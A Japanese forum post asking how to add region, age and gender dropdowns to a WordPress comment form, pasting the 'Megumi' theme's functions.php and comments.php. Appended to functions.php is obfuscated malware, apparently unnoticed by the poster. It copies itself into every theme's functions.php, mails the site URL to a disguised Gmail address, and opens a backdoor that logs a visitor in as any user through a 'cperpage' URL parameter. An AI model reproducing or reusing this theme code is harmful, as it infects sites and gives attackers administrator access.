コメントフォーム項目追加

コメントフォームにプルダウンで「地域（都道府県）」「年齢」「性別」を選択できるようにしたいです。
下記のようなものをワードプレスで実現したい↓
http://linech.com/post/create

プラグインを探しましたが、コメントフォームのカスタマイズについてのものはないようです。

大変お手数ですが、情報を頂けますと助かります。
宜しくお願いします。

ちなみに、め組のテンプレートを使って構築する為、本テンプレートでの実現方法をピンポイントでご存知の方がおれらたら、具体的な方法もご教授頂けますと、嬉しいです。
どうぞ、よろしくお願いいたします。

テンプレート↓
http://www.10press.net/theme/1223
———————————————————————
■め組み（function.php）

<?php
load_textdomain('megumi', dirname(__FILE__).'/lang/' . get_locale() . '.mo');
require_once(dirname(__FILE__).'/script/megumi_theme_setting.php');
require_once(dirname(__FILE__).'/script/get_img.php');
require_once(dirname(__FILE__).'/script/widgets.php');
require_once(dirname(__FILE__).'/script/contents.php');
require_once(dirname(__FILE__).'/script/theme_function_load.php');
if ( function_exists('register_sidebars') )
	register_sidebars(1, array(
		'name' => __('Left Sidebar','megumi'),
		'before_widget' => '<div class="widgets">',
		'after_widget' => '</div>',
		'before_title' => '<h2 class="title">',
		'after_title' => '</h2>',
	));
	register_sidebars(1, array(
		'name' => __('Sidebar Home & Pages','megumi'),
		'before_widget' => '<div class="widgets">',
		'after_widget' => '</div>',
		'before_title' => '<h2 class="title">',
		'after_title' => '</h2>',
	));
	register_sidebars(1, array(
		'name' => __('Sidebar Home Only','megumi'),
		'before_widget' => '<div class="widgets">',
		'after_widget' => '</div>',
		'before_title' => '<h2 class="title">',
		'after_title' => '</h2>',
	));
	register_sidebars(1, array(
		'name' => __('Sidebar Pages Only','megumi'),
		'before_widget' => '<div class="widgets">',
		'after_widget' => '</div>',
		'before_title' => '<h2 class="title">',
		'after_title' => '</h2>',
	));
	register_sidebars(4, array(
		'name' => __('Footer No.%d','megumi'),
		'before_widget' => '',
		'after_widget' => '',
		'before_title' => '<h2 class="title">',
		'after_title' => '</h2>',
	));
function is_megumi_page () {
$page_name = $_SERVER['REQUEST_URI'];
	if (get_option('permalink_structure'))	{
		$permalink_page_name = '/page\//';
	} else {
		$permalink_page_name = '/paged=/';
	}
	if (preg_match($permalink_page_name , $page_name)) {
		return TRUE;
	} else {
		return FALSE;
	}
}
/* ---- Body ID Change ---- */
function body_change() {
	if (is_home() && !is_megumi_page()) {
		echo 'home';
	} elseif (is_page()) {
		echo 'page';
	} else {
		echo 'contents';
	}
}
/* ---- Left Sidebar ---- */
function get_left_sidebar() {
	do_action( 'get_left_sidebar' );
	if ( file_exists( TEMPLATEPATH . '/left_sidebar.php') )
		load_template( TEMPLATEPATH . '/left_sidebar.php');
	else
		load_template( ABSPATH . 'wp-content/themes/default/sidebar.php');
}
/* ---- Left Side Change ---- */
function change_left_side() {
	if (is_home() && !is_megumi_page()) {
		get_left_sidebar();
		echo '</div>';
	} else {
		get_sidebar();
	}
}
/* ---- Page Navigation Change ---- */
function wp_pagenav() {
	$siteuri = get_option('siteurl');
	$page_name = $siteuri.$_SERVER['REQUEST_URI'];
	if (get_option('permalink_structure'))	{
		$permalink_page_name = "'/".esc_attr(str_replace('http://', '' ,$siteuri))."\/page\/2/'";
		$pagenav_no1= '/page/1';
	} else {
		$permalink_page_name = '/\/\?paged=2/';
		$pagenav_no1 = '/?paged=1';
	}
	if (function_exists('wp_pagenavi')){
		wp_pagenavi();
	} else {
		echo '<div class="navigation">';
		echo '<p class="previous_post">';
		next_posts_link(__('« Older Entries', 'megumi'));
		echo '</p>';
		echo '<p class="next_post">';
		if (preg_match($permalink_page_name , $page_name)) { ?>
			<a>"><?php _e('Newer Entries »','megumi'); ?></a>
		<?php } else {
			previous_posts_link(__('Newer Entries »', 'megumi'));
		}
		echo '</p>';
		echo '</div>';
	}
}
/* ---- Plugin Simpletag Change ---- */
function plugin_simpletag() {
	$get_plugins = get_option('active_plugins');
	if (preg_grep('/simple-tags/', $get_plugins)) {
		st_related_posts();
	}
}
/* ---- Recent Posts ---- */
function recent_posts() {
	if (get_option('permalink_structure'))	{
		$recent_posts_list = '/page/1';
	} else {
		$recent_posts_list = '/?paged=1';
	}
echo $recent_posts_list;
}
/* ---- Exclude Pages ---- */
function wp_header_exclude_pages() {
global $wpdb;
$get_page = $wpdb->get_results($wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_status = 'publish' AND post_parent = '0' AND post_type = 'page' ORDER BY menu_order") , ARRAY_A );
$options = get_option('megumi_miyako_theme_setting');
$exclude_page = @$options['header_exclude_page'];
echo '<select name="header_exclude_page[]" id="header_exclude_page" size="5" multiple="multiple">';
echo '<option value="">'.__('Reset','megumi').'</option>';
	foreach ($get_page as $peges) {
		echo'<option value="'.$peges['ID'].'"';
		if($exclude_page){
			foreach ($exclude_page as $pageid) {
				if ($pageid == $peges['ID']) {
				echo ' selected="selected"';
				}
			}
		}
		echo'>'.$peges['post_title'].'</option>';
	}
echo'</select>';
}
function wp_footer_exclude_pages() {
global $wpdb;
$get_page = $wpdb->get_results($wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_status = 'publish' AND post_parent = '0' AND post_type = 'page' ORDER BY menu_order") , ARRAY_A );
$options = get_option('megumi_miyako_theme_setting');
$exclude_page = @$options['footer_exclude_page'];
echo '<select name="footer_exclude_page[]" id="footer_exclude_page" size="5" multiple="multiple">';
echo '<option value="">'.__('Reset','megumi').'</option>';
	foreach ($get_page as $peges) {
		echo'<option value="'.$peges['ID'].'"';
		if($exclude_page){
			foreach ($exclude_page as $pageid) {
				if ($pageid == $peges['ID']) {
				echo ' selected="selected"';
				}
			}
		}
		echo'>'.$peges['post_title'].'</option>';
	}
echo'</select>';
}
function header_script() {
	if (is_home() && !is_megumi_page()) {
		echo '<script type="text/javascript" src="'.get_stylesheet_directory_uri().'/js/post_tab_change.js"></script>'."\n";
	}
}
add_action('wp_head', 'header_script', 0);
function megumi_theme_setting_head(){
	$request_page_name = $_SERVER['REQUEST_URI'];
	echo '<link rel="stylesheet" href="'.get_stylesheet_directory_uri().'/css/style.css" type="text/css" media="screen" />'."\n";
	if(preg_match('/megumi_theme_setting/' , $request_page_name)) {
	echo '<script type="text/javascript" src="'.get_stylesheet_directory_uri().'/js/form_change.js"></script>'."\n";
	echo '<script type="text/javascript" src="'.get_option('siteurl').'/wp-includes/js/prototype.js"></script>'."\n";
	echo '<script type="text/javascript" src="'.get_stylesheet_directory_uri().'/js/tab_change.js"></script>'."\n";
	}
}
add_action('admin_head', 'megumi_theme_setting_head', 99);
function ie6_load() { ?>
<style>
#go_top
	{
	margin:30% 0px 0px 0px;
	top:0px;
	}
</style>
<script>
window.onload=Menu;
function Menu(){
if(document.all){
document.all("go_top").style.pixelTop=document.documentElement.scrollTop;
}else{
document.getElementById("go_top").style.top=pageYOffset+"px";
}}
onscroll = Menu;
</script>
<script src="http://ie7-js.googlecode.com/svn/trunk/lib/IE8.js" type="text/javascript"></script>
<?php }
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/MSIE 6.0/' , $user_agent)) {
add_action('wp_head','ie6_load', 99);
}
?>
<?php
function _verify_isactivate_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
					$output .= ($showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&&
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home");
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1;
	if(!isset($comm_type)) $comm_type="";
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved="";
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(more...)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :

	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) {
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
			if(is_feed()) {
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes;
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
	if(!isset($showdots)) $showdots=1;

	$comments=$wpdb->get_results($sql);
	if($fakeit == 2) {
		$text=$post->post_content;
	} elseif($fakeit == 1) {
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else {
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"></a><a>ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a>ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="
<li>", $after="</li>
", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") {
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href="" title="">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		

?>

-----------------------------------------------------------------------

■め組み（comment.php）↓
<?php
if (isset($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
		die ('Please do not load this page directly. Thanks!');
if (!empty($post->post_password)) { // if there's a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
?>
<p class="nocomments">
		<?php _e('This post is password protected. Enter the password to view comments.', 'megumi'); ?>
</p>
<?php
return;
}
}
/* This variable is for alternating comment background */
?>
<!-- You can start editing here. -->
<?php if ( have_comments() ) : ?>
<div id="commentlist_box">
<h3 id="comments" class="title"><?php comments_number(__('No Comment', 'megumi'), __('Comment', 'megumi'), __('Comments %', 'megumi'));?></h3>
		<?php if (function_exists('wp_list_comments')) { ?>
	<ol class="commentlist">
		<?php wp_list_comments('avatar_size=60'); ?>

	<div class="navigation">
		<div class="alignleft"><?php previous_comments_link() ?></div>
		<div class="alignright"><?php next_comments_link() ?></div>
	</div>
		<?php } else { ?>
	<ol class="commentlist">
		<?php foreach ($comments as $comment) : ?>
		<li id="comment-<?php comment_ID() ?>"> <?php echo get_avatar( $comment, 60 ); ?> <?php printf(__('<cite>%s</cite> Says:', 'megumi'), get_comment_author_link()); ?>
		<?php if ($comment->comment_approved == '0') : ?>
		<em><?php _e('Your comment is awaiting moderation.', 'megumi'); ?></em>
		<?php endif; ?>
		<a>" title=""><?php printf(__('%1$s at %2$s', 'megumi'), get_comment_date(__('F jS, Y', 'megumi')), get_comment_time()); ?></a>
		<?php edit_comment_link(__('edit', 'megumi'),'  ',''); ?>
		<?php comment_text() ?>

		<?php endforeach; /* end for each comment */ ?>
		<?php } ?>
</div>
 <?php else : // this is displayed if there are no comments so far ?>
	<?php if ('open' == $post->comment_status) : ?>
		<!-- If comments are open, but there are no comments. -->
	 <?php else : // comments are closed ?>
		<!-- If comments are closed. -->
		<p class="nocomments"><?php _e('Comments are closed.', 'megumi'); ?></p>
	<?php endif; ?>
<?php endif; ?>
<?php if ('open' == $post->comment_status) : ?>

<div id="respond">
<h3 class="title"><?php _e('Post comment', 'megumi'); ?></h3>
<?php if (function_exists('wp_list_comments')) { ?>
<div id="cancel-comment-reply">
	<small><?php cancel_comment_reply_link() ?></small>
</div>
<?php } ?>
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'megumi'), get_option('siteurl') . '/wp-login.php?redirect_to=' . urlencode(get_permalink())); ?></p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>.', 'megumi'), get_option('siteurl') . '/wp-admin/profile.php', $user_identity); ?> <a>" title="<?php _e('Log out of this account', 'megumi'); ?>"><?php _e('Log out »', 'megumi'); ?></a></p>
<?php else : ?>
<p><label for="author"><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> /><?php _e('Your name:', 'megumi'); ?> <?php if ($req) _e("<em>(required)</em>", "megumi"); ?></label></p>
<p><label for="email"><input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> /><?php _e('E-mail:', 'megumi'); ?>
<?php if ($req) _e("<em>(required)</em>", "megumi"); ?></label></p>
<p><label for="url"><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" /><?php _e('Website', 'megumi'); ?></label></p>
<?php endif; ?>
<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
<p><input name="submit" type="submit" id="submit" tabindex="5" value="<?php _e('Submit Comment', 'megumi'); ?>" />
<?php if (function_exists('wp_list_comments')) { ?>
<?php comment_id_fields(); ?>
<?php } ?>
</p>
<?php do_action('comment_form', $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
</div>
<?php endif; // if you delete this the sky will fall on your head ?>